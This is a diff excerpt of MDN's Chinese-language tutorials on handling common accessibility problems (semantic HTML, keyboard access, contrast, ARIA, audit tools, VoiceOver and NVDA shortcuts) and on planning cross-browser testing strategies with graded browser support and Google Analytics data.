也就是说,本文将涵盖跨浏览器和有关残疾人的测试问题以及他们如何使用Web。我们在其他地方已经讨论过其他领域,例如响应式设计问题性能

+ +
+

Note: 就像Web开发中的许多事情一样,可访问性不是100%的成功或失败可以定义的;对于所有内容而言,几乎不可能实现100%的可访问性,尤其是当站点变得越来越复杂时。我们更多的是通过防御性编码并遵循最佳实践,努力使尽可能多的人可以访问尽可能多的内容。

+
+ +

常见可访问性问题

+ +

在本节中,我们将围绕Web可访问性,详细介绍与特定技术相关的一些主要问题、要遵循的最佳实践,以及可以进行的一些快速测试,以查看你的网站是否朝着正确的方向发展。

+ +
+

Note: 可访问性在道德上是正确的事情,对企业也有好处(残疾用户,移动用户等构成了重要的细分市场), 并且在世界许多地方,提供出来的网络媒体资源无法为残疾人服务也是违法的。阅读无障碍指南和法律获取更多相关信息。

+
+ +

HTML

+ +

HTML语义化 (语义化正确地使用HTML标签)对于可访问性来说是开箱即用的 — 这类内容可供无视障人士阅读(前提是你不会做任何愚蠢的事情,例如使文本变小或使用CSS隐藏它),也可被屏幕阅读器(从字面上读出网页的应用)之类的辅助技术使用,并赋予其他优势。

+ +

语义化结构

+ +

HTML语义化最重要的捷径是为你的内容使用标题和段落的结构;这是因为屏幕阅读器用户倾向于将文档标题用作导航,以更快地找到他们需要的内容。如果你的内容没有标题,那么他们将获得的是一大坨文字,没有任何可定位的标记。坏的例子和好的例子如下:

+ +
<font size="7">My heading</font>
+<br><br>
+This is the first section of my document.
+<br><br>
+I'll add another paragraph here too.
+<br><br>
+<font size="5">My subheading</font>
+<br><br>
+This is the first subsection of my document. I'd love people to be able to find this content!
+<br><br>
+<font size="5">My 2nd subheading</font>
+<br><br>
+This is the second subsection of my content. I think is more interesting than the last one.
+ +
<h1>My heading</h1>
+
+<p>This is the first section of my document.</p>
+
+<p>I'll add another paragraph here too.</p>
+
+<h2>My subheading</h2>
+
+<p>This is the first subsection of my document. I'd love people to be able to find this content!</p>
+
+<h2>My 2nd subheading</h2>
+
+<p>This is the second subsection of my content. I think is more interesting than the last one.</p>
+ +

此外,你的内容应该在逻辑顺序上讲得通的 — 你总能在以后再为它们写CSS,但你应该在一开始就确定内容正确的顺序。

+ +

作为测试,你可以关闭网站的CSS,然后看看没有了CSS网站是否能被理解。你可以通过从代码中删除CSS来手动完成此操作,但是最简单的方法是使用浏览器功能,例如:

+ + + +

使用键盘

+ +

某些HTML功能可以使用键盘来选择 — 这是默认的,从早期web开始就是这样的。具有此功能的元素是允许用户与网页交互的常见元素,比如links, {{htmlelement("button")}}s, 以及表单元素,比如{{htmlelement("input")}}.

+ +

浏览native-keyboard-accessibility.html (查看源码) 尝试一下— 在新标签页中打开它,然后尝试按Tab键;按下几下后,你应该看到标签焦点开始在不同的可聚焦元素之间移动;在每个浏览器中,被聚焦的元素都被赋予突出的默认样式 (不同的浏览器表现略有不同) 以便你能分辨聚焦在哪个元素上。

+ +

+ +

然后,你可以按Enter / Return键来关注焦点链接,或者按一个按钮(我们已经包含一些JavaScript来使按钮提醒消息),或者在输入框开始输入文本,(其他表单元素具有不同的控件,例如{{htmlelement("select")}}元素可以使用向上和向下箭头键显示和循环显示其选项)。

+ +

请注意,不同的浏览器可能具有不同的键盘控制选项。大多数现代浏览器都遵循上述的标签模式(你也可以执行Shift + Tab来向后移动可聚焦元素),但是某些浏览器具有自己的特性:

+ + + +
+

重要: 你应该在所写的任何新页面上执行这种测试 — 确保可以通过键盘使用功能。

+
+ +

这个例子强调了正确使用语义元素的重要性。可以用CSS将任何元素的样式设置为看起来像链接或按钮,并使用JavaScript让其表现为像链接或按钮一样,但实际上它们不是链接或按钮,你将失去很多语义化元素带给你的可访问性。因此,尽量避免这样做。

+ +

另一个技巧 — 如我们的示例所示,你可以使用:focus伪类控制可聚焦元素在聚焦时的外观。最好将焦点和悬停样式加重显示,这样无论是使用鼠标还是键盘的用户,都能直观地察觉控件在被激活时将执行的操作

+ +
a:hover, input:hover, button:hover, select:hover,
+a:focus, input:focus, button:focus, select:focus {
+  font-weight: bold;
+}
+ +
+

Note: 如果你决定使用CSS删除默认的焦点样式,请确保将其替换为更适合你的设计的其他样式 — 这是一种非常有价值的可访问性工具,不应删除。

+
+ +

模拟键盘

+ +

有时可能无法使用键盘完成可访问性。你可能有一个语义不是很好的网站(也许你最终得到了一个糟糕的CMS网页,该CMS生成了由<div> 组成的按钮),或者你正在使用一个没有内置键盘可访问性的复杂控件,例如HTML5 {{htmlelement("video")}} 元素(令人惊奇的是,Opera是唯一允许你在<video>元素的默认浏览器控件之间进行制表的浏览器)。你有几种选择:

+ +
    +
  1. 使用<button>元素(默认情况下都是可以在button间使用Tab键)和JavaScript创建自定义控件,以连接其功能。有关此示例,请参见Creating a cross-browser video player
  2. +
  3. 通过JavaScript创建键盘快捷键,因此当你按键盘上的某些键时,功能被激活。请参阅Desktop mouse and keyboard controls,以获取一些可用于任何目的(比如游戏)的例子。
  4. +
  5. 使用一些有趣的策略来伪造按钮行为。以我们的fake-div-buttons.html示例为例(查看源码)。这里我们通过为每个假按钮赋予属性tabindex="0"(请参阅​​WebAIM的tabindex文章以获取更多详细信息),使假的<div>按钮能够被聚焦(包括通过制表符)。这使我们可以跳到按钮上,但不能通过回车键激活它们。为此,我们必须添加以下JavaScript代码: +
    document.onkeydown = function(e) {
    +  if(e.keyCode === 13) { // The Enter/Return key
    +    document.activeElement.onclick(e);
    +  }
    +};
    + 在这里,我们向document对象添加了一个监听器,以检测何时按下了键盘上的按钮。我们通过事件对象的keyCode属性检查按下了什么按钮;如果它是与回车键匹配的键码,则使用document.activeElement.onclick()运行存储在按钮的onclick处理程序中的函数。document.activeElement为我们提供了当前页面上被聚焦的元素。
  6. +
+ +
+

Note: 仅当你通过事件处理程序属性(例如onclick)设置原始事件处理程序时,此技术才有效。addEventListener将无法正常工作。重新构建功能会有很多额外的麻烦。并且肯定还有其他问题。最好能从根源解决问题,使用正确的语义化元素。

+
+ +

替代文本

+ +

替代文本对于可访问性非常重要 — 如果一个人有视觉或听觉障碍使他们无法看到或听到某些内容,那么这就是一个问题。可用的最简单的文本替代方法是alt属性,我们应该在所有包含相关内容的图像上包括该属性。其中应包含对图像的描述,该描述可在页面上成功传达其含义和内容,并由屏幕阅读器读取并读出给用户。

+ +
+

Note: 更多信息请阅读Text alternatives

+
+ +

可以通过多种方法来测试缺少的替代文本,例如,使用可访问性{{anch("审计工具")}}。

+ +

对于视频和音频内容,Alt文本稍微复杂一些。有一种方法可以定义文本轨道(例如,字幕)并在播放视频时以{{htmlelement("track")}}元素和WebVTT格式的形式显示它们(请参见Adding captions and subtitles to HTML5 video以获取详细信息)。这些功能的浏览器兼容性相当好,但是如果你想提供音频的替代文本或支持较旧的浏览器,则在页面某处或单独页面上显示一个简单的文本记录可能是个好主意。

+ +

元素关系和上下文

+ +

HTML中有某些功能和最佳实践,旨在提供元素之间的上下文和关系。三个最常见的示例是链接,表单标签和数据表。

+ +

使用屏幕阅读器的人们通常会使用一项共同的功能,即他们会拉出页面上所有链接的列表。在这种情况下,链接文本需要脱离上下文。例如,标记为“单击此处”,“单击此处”等的链接列表确实对可访问性不利。链接文本最好在上下文和上下文之外都有意义。

+ +

表单{{htmlelement("label")}}元素是允许我们使表单可访问的主要功能之一。表单的麻烦在于,你需要标签来说明应在每个表单输入中输入哪些数据。每个标签都必须包含在{{htmlelement("label")}}内,以将其明确链接到其对应的表单输入框(属性值的每个<label>for属性值必须与表单元素id值匹配),即使源顺序不是完全合乎逻辑的,也能提供很好的可访问性。

+ +
+

Note: 更多关于链接文本和表单标签,请阅读有意义的文字标签

+
+ +

最后,简要介绍一下数据表。基本数据表可以用非常简单的标记编写(请参阅bad-table.html源码)),但这存在问题 — 屏幕阅读器用户无法将行或列作为数据分组关联在一起,但你需要知道标题行是什么,以及标题行行的标题还是列的标题等。这些只能从可视化的表格才能知道。

+ +

相反,如果你看一下我们的punk-bands-complete.html示例(示例源码),则可以在此处看到一些可访问性辅助,例如表头({{htmlelement("th")}}和作用域属性),{{htmlelement("caption")}}元素等。

+ +
+

Note: 更多信息,请阅读可访问的表格

+
+ +

CSS

+ +

CSS往往提供的基本可访问性功能要比HTML少得多,但是如果使用不当,它仍然会对可访问性造成同样的损害。下面是一些涉及CSS的可访问性的点:

+ + + +

还有其他几个需要注意的地方。

+ +

颜色和颜色对比度

+ +

为你的网站选择配色方案时,应确保文本(前景)颜色与背景颜色形成鲜明对比。你的设计可能看起来很酷,但是如果视力障碍者(例如色盲)无法阅读你的内容,那就不好了。使用WebAIM的Color Contrast Checker之类的工具来检查你的方案是否有足够对比度。

+ +

另一个提示是不要仅依靠颜色来表示界标/信息,因为这对于看不见颜色的人来说是不好的。例如,不要将所需的表单字段标记为红色,而应使用星号和红色标记它们。

+ +
+

Note: 高对比度也可以让使用带有光滑屏幕的设备(例如智能手机或平板电脑)的人在明亮的环境(例如阳光)下可以更好地阅读页面。

+
+ +

隐藏的内容

+ +

在许多情况下,视觉设计要求并非一次显示所有内容。例如,在我们的Tabbed info box example“示例(查看源码)中,我们有三个信息面板,但是我们将它们放在彼此的顶部,用户可以通过单击以显示每个选项卡(也可以通过键盘访问 — 可以使用Tab键和回车键选择它们)。

+ +

+ +

屏幕阅读器用户根本不关心这些,只要源内容顺序有意义,他们就很满意,并且他们可以全部获取。绝对定位(在本示例中使用的定位)通常被视为隐藏内容以产生视觉效果的最佳机制之一,因为它不会阻止屏幕阅读器获取相关内容。

+ +

另一方面,你不应该使用{{cssxref("visibility")}}:hidden或者{{cssxref("display")}}:none, 因为它们会让屏幕阅读器取不到那些内容,除非你真的想让屏幕阅读器不读取那些内容。

+ +
+

Note: Invisible Content Just for Screen Reader Users有更多关于这个话题的详细信息

+
+ +

JavaScript

+ +

就可访问性而言,JavaScript具有与CSS相同的问题 — 如果使用不当或使用过度,可访问性可能会很糟糕。我们已经提到了与JavaScript相关的一些可访问性问题,主要是在HTML语义化那块 — 你应该始终使用适当的语义化HTML来在合适的地方实现功能,例如,适当地使用链接和按钮。尽量不要使用JavaScript代码中结合<div>元素来伪造功能 — 容易出错,并且比直接使用HTML标签还要做更多的工作。

+ +

简单的功能

+ +

通常,简单的功能只应使用HTML标签完成 — JavaScript仅用于增强功能,而不能用于实现简单功能。好的JavaScript用法包括:

+ + + +
+

Note: WebAIM的Accessible JavaScript提供了一些关于JavaScript可访问性注意事项的信息。

+
+ +

更复杂的JavaScript实现可能会带来可访问性问题 — 你需要尽力而为。例如,期望让使用WebGL编写的复杂3D游戏对盲人来说100%可访问性是不合理的,但是你可以实现键盘控件,以便非鼠标用户可以使用它,并使配色方案具有足够的对比度供有颜色分辨障碍的人使用。

+ +

复杂的功能

+ +

可访问性存在问题的主要领域之一是复杂的应用程序,其中涉及复杂的表单控件(例如日期选择器)和动态内容,内容会经常增量更新。

+ +

非自带的复杂的表单控件可能会存在问题,因为它们往往涉及大量嵌套的<div>,浏览器默认情况下不知道如何处理它们。如果你自己开发控件,则需要确保它们可以通过键盘访问。如果你使用的是某种第三方框架,请在开始使用之前仔细检查可用的选项以了解它们是否具有完备的可访问性。例如,Bootstrap就对可访问性有相当好的支持(尽管Rhiana Heath的Making Bootstrap a Little More Accessible探讨了它的一些问题(主要与色彩对比度有关),并着眼于一些解决方案)。

+ +

定期更新的动态内容可能会成为问题,因为屏幕阅读器用户可能会错过这些内容,尤其是在意外更新的情况下。如果你有一个包含主要内容面板的单页应用程序,该应用程序使用XMLHttpRequestFetch定期更新,那么屏幕阅读器用户可能会错过这些更新。

+ +

WAI-ARIA

+ +

你是否需要使用这种复杂的功能,或者使用普通的旧语义化HTML代替?如果确实需要复杂性,则应考虑使用WAI-ARIA(Accessible Rich Internet Applications - 可访问的互联网应用),该规范为诸如复杂的表单控件和更新面板之类的项目提供了语义(以新的HTML属性形式),这样大部分浏览器和屏幕阅读器就能理解内容。

+ +

要处理复杂的表单窗口小部件,你需要使用ARIA属性(例如roles)来声明窗口小部件中不同元素的角色(例如,它们是选项卡还是选项卡面板?),用aria-disabled来表示控件是否禁用等。

+ +

要处理内容定期更新的区域,可以使用aria-live属性,该属性标识更新区域。它的值指示屏幕阅读器如何处理更新内容:

+ + + +

例子如下:

+ +
<p><span id="LiveRegion1" aria-live="polite" aria-atomic="false"></span></p>
+ +

浏览Freedom Scientific的ARIA (Accessible Rich Internet Applications)动态更新区域示例 — 高亮显示的段落每10秒更新一次内容,屏幕阅读器应将此内容读出给用户。ARIA Live Regions - Atomic是另一个很有用的例子。

+ +

我们这里没有足够的空间来详细介绍WAI-ARIA,你可以在WAI-ARIA basics了解更多。

+ +

可访问性测试工具

+ +

现在,我们已经介绍了不同Web技术的可访问性注意事项,包括一些测试方法(例如键盘导航和颜色对比度检查器),让我们看一下在进行可访问性测试时可以使用的其他工具。

+ +

审计工具

+ +

你可以使用许多审计工具检查你的网页,这些审计工具将检查它们并返回页面上存在的可访问性问题列表。一些审计工具:

+ + + +

看下面的例子,我们用的是Tenon。

+ +
    +
  1. 访问Tenon主页
  2. +
  3. 使用bad-semantics.html示例测试,输入链接地址并按下Analyse Your Webpage(译者注:开始分析你的网页)。
  4. +
  5. 下滑,直到你看到错误/描述部分,如下图。
  6. +
+ +

+ +

你还可以探索一些选项(请参阅页面顶部附近的Show Options(译者注:显示选项)链接),或者使用Tenon的API。

+ +
+

Note: 这些工具不足以单独解决你的所有可访问性问题。你需要将这些,知识和经验,用户测试等结合起来才能获得完整的解决方案。

+
+ +

自动化工具

+ +

Deque's aXe tool比我们上面提到的审计工具更优秀。和其他工具一样,它检查页面并返回可访问性错误。它很有用,可以提供浏览器扩展程序:

+ + + +

扩展程序将可访问性选项卡添加到浏览器开发人员工具。例如,我们安装了Firefox版本,然后使用它来审核bad-table.html示例。我们得到以下结果:

+ +

+ +

aXe也可以使用npm安装,并且可以与任务运行器(如GruntGulp),自动化框架(如SeleniumCucumber),单元测试框架(如Jasmin)集成,以及更多其他功能(详见main aXe page )。

+ +

屏幕阅读器

+ +

为了了解有严重视力障碍的人是如何浏览网页的,我们需要测试屏幕阅读器。有几款屏幕阅读器:

+ + + +

通常,屏幕阅读器是独立运行的应用程序,并且不仅仅支持阅读网页,也支持阅读其他应用程序。也有例外(比如ChromeVox是一个浏览器扩展程序)。不同的屏幕阅读器可能在控制键和表现上稍有不同,所以你必须查阅你选择的屏幕阅读器的文档来获取相关细节。总体来说他们是大同小异的。

+ +

一起看一下我们对几款不同的屏幕阅读器的测试。这将帮助你大致了解它们如何工作以及如何测试它们。

+ +
+

Note: WebAIM的 Designing for Screen Reader Compatibility提供了一些关于屏幕阅读器的使用和如何开发应用以最好的适用屏幕阅读器的信息。你也可以看下Screen Reader User Survey #6 Results这篇有关屏幕阅读器一些有趣的统计信息的文章。

+
+ +

VoiceOver

+ +

VoiceOver (VO)是Mac/iPhone/iPad上的免费应用,所以如果你使用苹果公司的产品,可以用VO来进行测试。 我们在Mac OS X 系统上测试了它。

+ +

按下Cmd + Fn + F5打开它。如果你之前没用过VO,将会出现一个可以选择是否开启VO的欢迎界面,并且还会有教程指导你如何使用。再次按下Cmd + Fn + F5可以关闭。

+ +
+

Note: 你应该至少看一遍教程,它对于你了解VO是非常有用的。

+
+ +

当VO开启时,你会看到一个会显示当前选中信息的黑色框在屏幕的左下角,除此之外屏幕显示大体还是相同的。当前选中的部分也会出现一个黑色的边框以进行高亮显示,这个黑色框就是VO的光标。

+ +

+ +

在使用中,你会用到"VO修饰键","VO修饰键"是一个单独键或组合键,当你使用VO的快捷键时,你需要额外按下这个"VO修饰键"。屏幕阅读器通常都会有修饰键,防止它们的快捷键和其他程序的快捷键冲突。VO的修饰键是CapsLock, 或Ctrl + Option。

+ +

VO有很多快捷键,我们没有全部列出来。只把测试网页可访问性常用的一些在下面列出了。表格里,"VO"代表"VO修饰键"。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常用的VO快捷键
快捷键描述
VO + 方向键移动VO光标
VO + 空格键选择/激活高亮的部分,包括Rotor里的内容(关于Rotor见下面)
VO + Shift + 下移动到组合项目里(比如HTML表格,或表单等)。进入组合里,你能使用下面的快捷键。
VO + Shift + 上离开组合项目
VO + C(当在表格里面时) 阅读当前列的头部
VO + R(当在表格里面时) 阅读当前行的头部
VO + C + C (当在表格里面时) 阅读当前列,包括列头
VO + R + R (当在表格里面时) 阅读当前行,包括对应于每个小行的头
VO + 左, VO + 右(当在水平的选项卡里面时,比如日期选择或时间选择) 切换选项
VO + 上, VO + 下(当在垂直的选项卡里面时,比如日期选择或时间选择) 切换选项
VO + U使用Rotor。Rotor使用列表展示标题,链接,表单选项等,以便为我们提供便利的导航。
VO + 左, VO + 右(当在Rotor里) 切换到其他列表
VO + 上, VO + 下(当在Rotor里) 在当前列表里,切换到其他项
Esc(当在Rotor里) 推出Rotor
Ctrl(当VO阅读时) 暂停/继续
VO + Z重复上一句话
VO + D进入Mac的程序坞,你能选择运行哪个应用
+ +

看起来很多,但当你用起来时还好,因为VO通常会给你提醒,在哪里应该用哪个快捷键。现在试试运行VO,在{{anch("屏幕阅读器测试")}}屏幕阅读器测试章节做个测试吧。

+ +

NVDA

+ +

NVDA只能运行在Window系统,你需要安装它。

+ +
    +
  1. nvaccess.org下载。你能选择免费下载,或赞助后再下载;你需要在下载前提供你的邮箱地址。
  2. +
  3. 下载完成后,开始安装 - 双击安装程序,接受条款,一步步按提示来。
  4. +
  5. 双击NVDA程序或快捷方式,或者按下Ctrl + Alt + N打开它。你会看见欢迎界面。你能选择一些选项,然后按下OK继续。
  6. +
+ +

NVDA现在在你的电脑上开启了。

+ +

在使用中,你会用到"NVDA修饰键","NVDA修饰键"是一个单独键,当你使用NVDA的快捷键时,你需要额外按下这个"NVDA修饰键"。屏幕阅读器通常都会有修饰键,防止它们的快捷键和其他程序的快捷键冲突。NVDA的修饰键是Insert键(默认), 或CapsLock键(在欢迎界面可以选择使用该键)。

+ +
+

Note: 关于高亮方面,NVDA比VoiceOver做的更好。当滚动过标题、列表等元素时,你选中的项目会被一个细微的边框包住以高亮,但不是对于所有元素都是这样的。如果你感觉迷失方向了,可以按Ctrl + F5刷新页面,并从顶部重新开始。

+
+ +

NVDA有很多快捷键,我们没有全部列出来。只把测试网页可访问性常用的一些在下面列出了。表格里,"NVDA"代表"NVDA修饰键"。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常用的NVDA快捷键
快捷键描述
NVDA + Q关闭NVDA
NVDA + 上阅读当前行
NVDA + 下在当前位置开始阅读
上和下, 或者Shift + Tab 和Tab移动到上/下一项,开始阅读
左和右移动到当前项的上/下一个字符,开始阅读
Shift + H 和 H移动到上/下一标题,开始阅读
Shift + K 和 K移动到上/下一链接项,开始阅读
Shift + D 和 D移动到上/下一文档界标(比如<nav>),开始阅读
Shift + 1–6 和 1–6移动到上/下一标题(标题1 - 6),开始阅读
Shift + F 和 F移动到上/下一表单选项,聚焦
Shift + T 和 T移动到上/下一数据表,聚焦
Shift + B 和 B移动到上/下一按钮,阅读它的label
Shift + L 和 L移动到上/下一列表,阅读它的第一项
Shift + I 和 I移动到上/下一列表,开始阅读
Enter/Return(当链接或按钮或其他可激活的项选中时) 激活项
NVDA + 空格(当选中表单时) 进入表单,或如果已经在表单里的情况下,离开表单
Shift Tab 和 Tab(当在表单里面时) 切换到下一个input
上 和 下(当在表单里面时) 改变input的值(例如选择框).
空格(当在表单里面时) 选择已选中的值
Ctrl + Alt + 方向键(当选中表格时) 切换表格单元格
+ +

屏幕阅读器测试

+ +

现在你学会了如何使用屏幕阅读器,来使用它做一些可访问性测试吧。这样你才能了解屏幕阅读器在好的网页和坏的网页之间不同的表现:

+ + + +

用户测试

+ +

如上所述,你不能仅依靠自动化工具来确定网站上的可访问性问题。建议在制定测试计划时,包含一些用户测试可访问性的计划(有关更多内容,请参阅前面的用户测试部分)。尝试让一些屏幕阅读器用户,一些全键盘用户,一些有听觉障碍的用户或其他用户参与测试,以满足你的需求。

+ +

测试可访问性检查清单

+ +

以下列表提供了一个清单,供参考,以确保已对项目执行建议的可访问性测试:

+ +
    +
  1. 确保HTML尽可能是语义化的。验证是一个好方法, 就像使用审计工具
  2. +
  3. 检查当关闭CSS时,你的内容能够被理解。
  4. +
  5. 确认功能是全键盘可访问的。使用Tab键、回车键等做测试。
  6. +
  7. 确保非文本内容有替代文本。 审计工具能够很好地发现问题。
  8. +
  9. 确保颜色和颜色对比度是可接受的,使用合适的工具测试。
  10. +
  11. 确保隐藏的内容可以被屏幕阅读器读取。
  12. +
  13. 尽可能的使功能在没有JavaScript的情况下也可以正常使用。
  14. +
  15. 在合适的地方使用ARIA来提供可访问性。
  16. +
  17. 使用审计工具测试一下你的网站。
  18. +
  19. 使用屏幕阅读器实际测试一下。
  20. +
  21. 在你的网站上可以添加可访问性策略/声明,以说明你的为可访问性做了什么。
  22. +
+ +

寻找帮助

+ +

可访问性还会遇到许多其他问题。你要学会如何在线查找答案。请查阅HTML和CSS文章的“寻找帮助”部分,以获取一些指导。 

+ +

总结

+ +

希望本文能让你了解可访问性,以及帮助你解决遇到的一些可访问性问题。

+ +

下一篇文章,我们将详细介绍特征检测。

+ +

{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}

+ +

指南

+ + diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html new file mode 100644 index 0000000000..fb01cd2843 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html @@ -0,0 +1,367 @@ +--- +title: 进行测试的策略 +slug: Learn/Tools_and_testing/Cross_browser_testing/测试策略 +tags: + - 测试 + - 测试策略 + - 用户测试 + - 自动化测试 + - 虚拟机 仿真器 + - 跨浏览器测试 +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Introduction","Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS", "Learn/Tools_and_testing/Cross_browser_testing")}}
+ +


+ 这篇文章主要是讨论如何进行跨浏览器测试,回答一些比较常见的疑惑,譬如:“什么是跨浏览器测试?”,“会遇到哪些常见的问题?”以及“如何测试、区分以及修复问题?”

+ + + + + + + + + + + + +
准备:熟练掌握 HTML, CSS, 和 JavaScript 语言; 了解跨浏览器测试的核心概念
对象:了解跨浏览器测试所涉及的高级概念。
+ +

是否需要测试?

+ +

开始跨浏览器测试(cross browser testing)之前您需要确定哪些浏览器将进入被测试名单。测试所有用户可能使用的浏览器或移动设备是不可能的——数量太大,而且浏览器和设备总在不断更新。

+ +

可行的替代方案是,尝试确保您的网站适用于最常见的浏览器和设备,然后进行防御性编码,以便为您的网站提供最广泛的支持范围。

+ +

防御性编码的实质是一种智能回退措施:如果某个功能或样式在浏览器中不起作用,该网站将将降级为不太令人兴奋的东西,但仍然能提供可接受的用户体验——核心是:虽然网站看起来不那么漂亮,仍然可以访问。

+ +

本章的目的是建立一个供您在测试时参考的浏览器/设备图表。 您可以根据需要将其设置成简单或复杂版本——常见的方法是具有多个等级的支持,例如:

+ +
    +
  1. A 级:普通/现代浏览器(仍在广泛使用):需要彻底测试并提供全面支持。
  2. +
  3. B 级:较旧/较少的浏览器 (少数用户还在使用):测试并提供更基本的体验,以提供对核心信息和服务的完全访问。
  4. +
  5. C 级:稀有/未知浏览器 : 不进行测试,假设网站内容可以显示。 在我们的防御性编码起效的情况下,用户可以访问到网页的全部内容。
  6. +
+ +

在以下各节中,我们将以此等级为参考构建支持图表。

+ +
+

注意:雅虎最先使这一方法流行起来,详情参见《浏览器分级支持系统》( Graded browser Support)。

+
+ +

有根据地假设

+ +

您可以称之为“假设”或“直觉”。这不是一种准确,科学的方法,但作为具有网络行业经验的人,您至少应该对待测试的一些浏览器有些想法。这将形成一个良好的初级浏览器分级支持系统。

+ +

例如,如果您居住在西欧或北美,您会发现许多人使用 Windows 和 Mac 的台式机或笔记本电脑,主要浏览器是 Chrome,Firefox,Safari,IE 和 Edge。您可以测试前三个浏览器最近的三个版本,因为它们会定期更新。对于Edge和IE,您应当近期的多个版本。这些浏览器都应该属于A级。

+ +
+

注意:您一次只能在计算机上安装一个版本的 IE 或 Edge,因此您可能必须使用虚拟机或其他方法来执行所需的测试。稍后请参阅虚拟机部分{{anch("Virtual machines")}}。

+
+ +

很多人使用 iOS 和 Android,因此您可能还想测试最新版本的 iOS Safari,最近几个版本的 Android stock 浏览器,以及适用于 iOS 和 Android 的 Chrome 和 Firefox。理想情况下,您应该在手机和平​​板电脑上测试这些,以确保响应式设计的正常运行。

+ +

您也许知道很多人仍然在使用 IE 9。这一版本陈旧而且功能较少,所以让我们把它放在B级别。

+ +

到目前为止,这为我们提供了以下支持级别:

+ +
    +
  1. A 级:用于 Windows / Mac 的 Chrome 和 Firefox,用于 Mac 的 Safari,用于 Windows的 Edge 和 IE(每个版本的最后两个版本),用于 iPhone / iPad 的 iOS Safari,用于手机/平板电脑的 Android stock 浏览器(最后两个版本),用于手机和平板电脑上的 Chrome 和适用于 Android 的Firefox(最后两个版本)。
  2. +
  3. B 级:适用于 Windows 的 IE 9
  4. +
  5. C 级:无
  6. +
+ +

如果您居住在其他地方,或者正在开发其他地方(例如某些国家或地区)的网站,那么您可能会有不同的常用浏览器进行测试。

+ +
+

注意:“我老板用Blackberry,所以我们最好确保它看起来很好”也可以是一个有说服力的论点。

+
+ +

浏览器支持检测

+ +

您可以调用的一个有用的措施是浏览器支持统计信息,用于告知您的浏览器测试选项。有许多网站提供此类统计信息,例如:

+ + + +

这些都以北美为中心,并不特别准确,但它们可以让您了解大趋势。

+ +

例如,让我们转到 Netmarketshare。您可以看到 Opera 被列为具有小但可见的使用数字,因此,我们也应该将其添加到支持图表中,作为 C 级。

+ +

IE8 被列为重要,但它较老且不再能够。Opera Mini 非常重要,但在运行时运行复杂的 JavaScript 方面,它的能力并不大(有关详细信息,请参阅 Opera Mini and JavaScrip)。我们也应该把它放到B级。

+ +

使用分析工具

+ +

更准确的数据源,如果你能得到它,来自像Google Analytics这样的分析应用程序。这是一个应用程序,将为您提供准确的统计数据,究竟是什么浏览器的人正在使用浏览您的网站。当然,这依赖于您已经有一个网站使用它,所以它是没有多大的适合全新的网站。

+ +

但是,分析历史记录可用于查找支持统计信息以影响公司网站的新版本或要添加到现有站点的新功能。如果您有这些可用,它们比上述全球浏览器统计信息更准确。

+ +

配置Google分析

+ +
    +
  1. 首先,您需要一个谷歌帐户。使用此帐户可登录Google Analytics。 
  2. +
  3. 选择 Google Analytics (web))选项,然后单击"注册"按钮。
  4. +
  5. 在注册页面中输入您的网站/应用详细信息。这是相当直观的设置;获得正确的最重要的字段是网站 URL。这需要是您的网站/应用的根 URL。
  6. +
  7. 填写完所有内容后,按"获取跟踪 ID"按钮,然后接受显示的服务条款。
  8. +
  9. 下一页为您提供一些代码段和其他说明。对于基本网站,您需要做的是复制网站跟踪代码块,并将其粘贴到您要在网站上使用 Google Analytics 跟踪的所有不同页面。您可以在关闭</body>标记下方,也可以位于其他适当位置,以防止其与应用程序代码混淆。
  10. +
  11. 将更改上载到开发服务器,或将代码上载到其他任何位置。
  12. +
+ +

就是这样!您的网站现在应该准备好开始报告分析数据。

+ +

学习分析数据

+ +

现在,您应该能够返回 Analytics Web主页,并开始查看您收集的有关网站的数据(当然,您需要留出一点时间才能真正收集一些数据)。

+ +

默认情况下,您应该看到报告选项卡,如下所示:

+ +

+ +

有大量的数据,你可以看看使用谷歌分析––自定义报告在不同的类别,等等––我们没有时间讨论这一切。 Getting started with Analytics 为初学者提供了一些有关报告(以及更多)的有用指导。

+ +

还应鼓励您查看左侧的不同选项,并查看您可以找到哪些类型的数据。例如,您可以通过从左侧菜单中选择" Audience > Technology > Browser & OS"来了解用户正在使用的浏览器和操作系统。

+ +
+

注意:使用 Google 分析时,您需要提防误导性偏见,例如"我们没有 Firefox 移动用户"可能会导致您不必为 Firefox 移动提供支持。但是,你不会有任何火狐移动用户,如果该网站被打破在火狐手机摆在首位。

+
+ +

其他注意事项

+ +

您可能还应包括其他注意事项。您绝对应该将辅助功能作为 A 级测试要求(我们将在处理常见辅助功能问题一文中介绍您应该测试的内容)

+ +

此外,您可能还有其他注意事项。如果要创建某种公司 Intranet,以便向经理提供销售数据,并且例如,所有经理都提供了 Windows 手机,则可能需要将移动 IE 支持作为优先事项。

+ +

最终的支持图表

+ +

因此,我们的最终支持图表最终将如下所示:

+ +
    +
  1. A 级:适用于 Windows/Mac 的 Chrome 和 Firefox、适用于 Mac 的 Safari、Windows 的"边缘"和"IE"(每个版本的最后两个版本)、iPhone/iPad 的 iOS Safari、手机/平板电脑上的 Android 股票浏览器(最后两个版本)、适用于 Android 的 Chrome 和 Firefox(最后两个版本)在手机平板电脑上.通过常见测试的可访问性。
  2. +
  3. B 级:IE 8 和 9 用于 Windows,Opera Mini。
  4. +
  5. C级:Opera,其他合适的现代浏览器。
  6. +
+ +

你想要测试什么?

+ +

当您的代码库有需要测试的新添加项时,在开始测试之前,应编写出需要通过才能接受的测试要求列表。这些要求可以是可视的,也可以是功能性的, 两者结合起来, 成为可用的网站功能。

+ +

思考下面的例子 (查看源码 , 在线预览):

+ +

+ +

此功能的测试标准可以这样编写:

+ +

A 级和 B 级:

+ + + +

A 级:

+ + + +

